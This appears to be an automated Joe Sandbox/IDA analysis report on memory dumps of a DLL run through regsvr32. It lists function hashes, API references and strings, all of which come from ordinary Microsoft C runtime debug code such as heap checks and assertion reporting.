Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
P, xrefs: 000007FEF9D30AC6
%s(%d) : %s, xrefs: 000007FEF9D305DB
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
Assertion failed: , xrefs: 000007FEF9D30422
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
<file unknown>, xrefs: 000007FEF9D302A8
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
Assertion failed!, xrefs: 000007FEF9D30433
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
, Line , xrefs: 000007FEF9D302C5

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction ID: 631fc2af3d1e2e358681470289229c30ebeab24735d73449bcceef6109dc099e
Opcode Fuzzy Hash: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction Fuzzy Hash: 6B421031A0CA8685EBB0CB14E8547EE73E4F784345FA04226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetLastActivePopup, xrefs: 000007FEF9D30D9E
MessageBoxA, xrefs: 000007FEF9D30D44
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0
USER32.DLL, xrefs: 000007FEF9D30D23
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
GetActiveWindow, xrefs: 000007FEF9D30D7C

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction ID: c20bf9db26653c31616cb8f8a39641649b62d884e8934e9a70f617ae2971618d
Opcode Fuzzy Hash: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction Fuzzy Hash: 9A81C631A19B8686E7A09B19FC4436EB3E0F784755F608135DACE426B8DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

Client hook re-allocation failure., xrefs: 000007FEF9D24C25
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction ID: c027552587c484905274aa3c7dfc2130a2bba284c4db387798f357193d3a2f5b
Opcode Fuzzy Hash: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction Fuzzy Hash: B3421035A0DB8685EBA08B69E88076E77E0F785794F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
Client hook free failure., xrefs: 000007FEF9D254A0
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction ID: 30c4da0a101ad128366c20b2541b857d1a248eb6f856515bedc9f5e1dcd2840f
Opcode Fuzzy Hash: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction Fuzzy Hash: 58C16E36A18B4586EBA48B59E88076EB7E0F785790F614536EACD43BB4DB7ED401CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
